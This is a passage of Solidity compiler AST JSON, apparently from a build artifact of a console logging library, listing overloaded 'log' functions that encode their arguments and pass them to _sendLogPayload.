\"log(address,bool,address)\""},"value":"log(address,bool,address)"},{"id":25886,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":25875,"src":"19568:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":25887,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":25877,"src":"19572:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":25888,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":25879,"src":"19576:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_f11699ed537119f000a51ba9fbd5bb55b3990a1a718acbe99659bd1bc84dc18d","typeString":"literal_string \"log(address,bool,address)\""},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":25883,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"19515:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":25884,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"19519:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"19515:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":25889,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"19515:64:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":25882,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"19499:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":25890,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"19499:81:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":25891,"nodeType":"ExpressionStatement","src":"19499:81:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"19438:3:15","parameters":{"id":25880,"nodeType":"ParameterList","parameters":[{"constant":false,"id":25875,"mutability":"mutable","name":"p0","nameLocation":"19450:2:15","nodeType":"VariableDeclaration","scope":25893,"src":"19442:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":25874,"name":"address","nodeType":"ElementaryTypeName","src":"19442:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":25877,"mutability":"mutable","name":"p1","nameLocation":"19459:2:15","nodeType":"VariableDeclaration","scope":25893,"src":"19454:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":25876,"name":"bool","nodeType":"ElementaryTypeName","src":"19454:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":25879,"mutability":"mutable","name":"p2","nameLocation":"19471:2:15","nodeType":"VariableDeclaration","scope":25893,"src":"19463:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":25878,"name":"address","nodeType":"ElementaryTypeName","src":"19463:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"19441:33:15"},"returnParameters":{"id":25881,"nodeType":"ParameterList","parameters":[],"src":"19489:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":25913,"nodeType":"FunctionDefinition","src":"19593:164:15","nodes":[],"body":{"id":25912,"nodeType":"Block","src":"19656:101:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728616464726573732c616464726573732c75696e7432353629","id":25905,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"19706:30:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_17fe6185890336f35fbbd1b2962ba4f7207a4a65eb5b7443a7be8a152af930a4","typeString":"literal_string \"log(address,address,uint256)\""},"value":"log(address,address,uint256)"},{"id":25906,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":25895,"src":"19738:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":25907,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":25897,"src":"19742:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":25908,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":25899,"src":"19746:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_17fe6185890336f35fbbd1b2962ba4f7207a4a65eb5b7443a7be8a152af930a4","typeString":"literal_string \"log(address,address,uint256)\""},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":25903,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"19682:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":25904,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"19686:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"19682:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":25909,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"19682:67:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":25902,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"19666:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":25910,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"19666:84:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":25911,"nodeType":"ExpressionStatement","src":"19666:84:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"19602:3:15","parameters":{"id":25900,"nodeType":"ParameterList","parameters":[{"constant":false,"id":25895,"mutability":"mutable","name":"p0","nameLocation":"19614:2:15","nodeType":"VariableDeclaration","scope":25913,"src":"19606:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":25894,"name":"address","nodeType":"ElementaryTypeName","src":"19606:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":25897,"mutability":"mutable","name":"p1","nameLocation":"19626:2:15","nodeType":"VariableDeclaration","scope":25913,"src":"19618:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":25896,"name":"address","nodeType":"ElementaryTypeName","src":"19618:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":25899,"mutability":"mutable","name":"p2","nameLocation":"19638:2:15","nodeType":"VariableDeclaration","scope":25913,"src":"19630:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":25898,"name":"uint256","nodeType":"ElementaryTypeName","src":"19630:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"19605:36:15"},"returnParameters":{"id":25901,"nodeType":"ParameterList","parameters":[],"src":"19656:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":25933,"nodeType":"FunctionDefinition","src":"19763:169:15","nodes":[],"body":{"id":25932,"nodeType":"Block","src":"19832:100:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728616464726573732c616464726573732c737472696e6729","id":25925,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"19882:29:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_007150be50a4671a6be318012e9cd2eabb1e1bc8869b45c34abbaa04d81c8eee","typeString":"literal_string \"log(address,address,string)\""},"value":"log(address,address,string)"},{"id":25926,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":25915,"src":"19913:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":25927,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":25917,"src":"19917:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":25928,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":25919,"src":"19921:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_007150be50a4671a6be318012e9cd2eabb1e1bc8869b45c34abbaa04d81c8eee","typeString":"literal_string \"log(address,address,string)\""},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":25923,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"19858:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":25924,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"19862:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"19858:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":25929,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"19858:66:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":25922,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"19842:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":25930,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"19842:83:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":25931,"nodeType":"ExpressionStatement","src":"19842:83:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"19772:3:15","parameters":{"id":25920,"nodeType":"ParameterList","parameters":[{"constant":false,"id":25915,"mutability":"mutable","name":"p0","nameLocation":"19784:2:15","nodeType":"VariableDeclaration","scope":25933,"src":"19776:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":25914,"name":"address","nodeType":"ElementaryTypeName","src":"19776:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":25917,"mutability":"mutable","name":"p1","nameLocation":"19796:2:15","nodeType":"VariableDeclaration","scope":25933,"src":"19788:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":25916,"name":"address","nodeType":"ElementaryTypeName","src":"19788:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":25919,"mutability":"mutable","name":"p2","nameLocation":"19814:2:15","nodeType":"VariableDeclaration","scope":25933,"src":"19800:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":25918,"name":"string","nodeType":"ElementaryTypeName","src":"19800:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"19775:42:15"},"returnParameters":{"id":25921,"nodeType":"ParameterList","parameters":[],"src":"19832:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":25953,"nodeType":"FunctionDefinition","src":"19938:158:15","nodes":[],"body":{"id":25952,"nodeType":"Block","src":"19998:98:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728616464726573732c616464726573732c626f6f6c29","id":25945,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"20048:27:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_f2a6628622808c8bbef4f3e513ab11e708a8f5073988f2f7988e111aa26586dc","typeString":"literal_string \"log(address,address,bool)\""},"value":"log(address,address,bool)"},{"id":25946,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":25935,"src":"20077:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":25947,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":25937,"src":"20081:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":25948,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":25939,"src":"20085:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_f2a6628622808c8bbef4f3e513ab11e708a8f5073988f2f7988e111aa26586dc","typeString":"literal_string \"log(address,address,bool)\""},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":25943,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"20024:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":25944,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"20028:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"20024:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":25949,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"20024:64:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":25942,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"20008:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":25950,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"20008:81:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":25951,"nodeType":"ExpressionStatement","src":"20008:81:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"19947:3:15","parameters":{"id":25940,"nodeType":"ParameterList","parameters":[{"constant":false,"id":25935,"mutability":"mutable","name":"p0","nameLocation":"19959:2:15","nodeType":"VariableDeclaration","scope":25953,"src":"19951:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":25934,"name":"address","nodeType":"ElementaryTypeName","src":"19951:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":25937,"mutability":"mutable","name":"p1","nameLocation":"19971:2:15","nodeType":"VariableDeclaration","scope":25953,"src":"19963:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":25936,"name":"address","nodeType":"ElementaryTypeName","src":"19963:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":25939,"mutability":"mutable","name":"p2","nameLocation":"19980:2:15","nodeType":"VariableDeclaration","scope":25953,"src":"19975:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":25938,"name":"bool","nodeType":"ElementaryTypeName","src":"19975:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"19950:33:15"},"returnParameters":{"id":25941,"nodeType":"ParameterList","parameters":[],"src":"19998:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":25973,"nodeType":"FunctionDefinition","src":"20102:164:15","nodes":[],"body":{"id":25972,"nodeType":"Block","src":"20165:101:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728616464726573732c616464726573732c6164647265737329","id":25965,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"20215:30:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_018c84c25fb680b5bcd4e1ab1848682497c9dd3b635564a91c36ce3d1414c830","typeString":"literal_string \"log(address,address,address)\""},"value":"log(address,address,address)"},{"id":25966,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":25955,"src":"20247:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":25967,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":25957,"src":"20251:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":25968,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":25959,"src":"20255:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_018c84c25fb680b5bcd4e1ab1848682497c9dd3b635564a91c36ce3d1414c830","typeString":"literal_string \"log(address,address,address)\""},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":25963,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"20191:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":25964,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"20195:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"20191:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":25969,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"20191:67:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":25962,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"20175:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":25970,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"20175:84:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":25971,"nodeType":"ExpressionStatement","src":"20175:84:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"20111:3:15","parameters":{"id":25960,"nodeType":"ParameterList","parameters":[{"constant":false,"id":25955,"mutability":"mutable","name":"p0","nameLocation":"20123:2:15","nodeType":"VariableDeclaration","scope":25973,"src":"20115:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":25954,"name":"address","nodeType":"ElementaryTypeName","src":"20115:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":25957,"mutability":"mutable","name":"p1","nameLocation":"20135:2:15","nodeType":"VariableDeclaration","scope":25973,"src":"20127:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":25956,"name":"address","nodeType":"ElementaryTypeName","src":"20127:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":25959,"mutability":"mutable","name":"p2","nameLocation":"20147:2:15","nodeType":"VariableDeclaration","scope":25973,"src":"20139:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":25958,"name":"address","nodeType":"ElementaryTypeName","src":"20139:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"20114:36:15"},"returnParameters":{"id":25961,"nodeType":"ParameterList","parameters":[],"src":"20165:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":25996,"nodeType":"FunctionDefinition","src":"20272:188:15","nodes":[],"body":{"id":25995,"nodeType":"Block","src":"20347:113:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672875696e743235362c75696e743235362c75696e743235362c75696e7432353629","id":25987,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"20397:38:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_193fb8009d4d1e3c22da0dd831b1e3aed72b8cabd1ebf3967b4ab3c2bbcf1c4f","typeString":"literal_string \"log(uint256,uint256,uint256,uint256)\""},"value":"log(uint256,uint256,uint256,uint256)"},{"id":25988,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":25975,"src":"20437:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":25989,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":25977,"src":"20441:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":25990,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":25979,"src":"20445:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":25991,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":25981,"src":"20449:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_193fb8009d4d1e3c22da0dd831b1e3aed72b8cabd1ebf3967b4ab3c2bbcf1c4f","typeString":"literal_string \"log(uint256,uint256,uint256,uint256)\""},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":25985,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"20373:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":25986,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"20377:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"20373:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":25992,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"20373:79:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":25984,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"20357:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":25993,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"20357:96:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":25994,"nodeType":"ExpressionStatement","src":"20357:96:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"20281:3:15","parameters":{"id":25982,"nodeType":"ParameterList","parameters":[{"constant":false,"id":25975,"mutability":"mutable","name":"p0","nameLocation":"20293:2:15","nodeType":"VariableDeclaration","scope":25996,"src":"20285:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":25974,"name":"uint256","nodeType":"ElementaryTypeName","src":"20285:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":25977,"mutability":"mutable","name":"p1","nameLocation":"20305:2:15","nodeType":"VariableDeclaration","scope":25996,"src":"20297:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":25976,"name":"uint256","nodeType":"ElementaryTypeName","src":"20297:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":25979,"mutability":"mutable","name":"p2","nameLocation":"20317:2:15","nodeType":"VariableDeclaration","scope":25996,"src":"20309:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":25978,"name":"uint256","nodeType":"ElementaryTypeName","src":"20309:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":25981,"mutability":"mutable","name":"p3","nameLocation":"20329:2:15","nodeType":"VariableDeclaration","scope":25996,"src":"20321:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":25980,"name":"uint256","nodeType":"ElementaryTypeName","src":"20321:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"20284:48:15"},"returnParameters":{"id":25983,"nodeType":"ParameterList","parameters":[],"src":"20347:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":26019,"nodeType":"FunctionDefinition","src":"20466:193:15","nodes":[],"body":{"id":26018,"nodeType":"Block","src":"20547:112:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672875696e743235362c75696e743235362c75696e743235362c737472696e6729","id":26010,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"20597:37:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_59cfcbe3e387f57023dcccd8733484dcb5a23a41a25c4015c01a4e8d3520c4ef","typeString":"literal_string 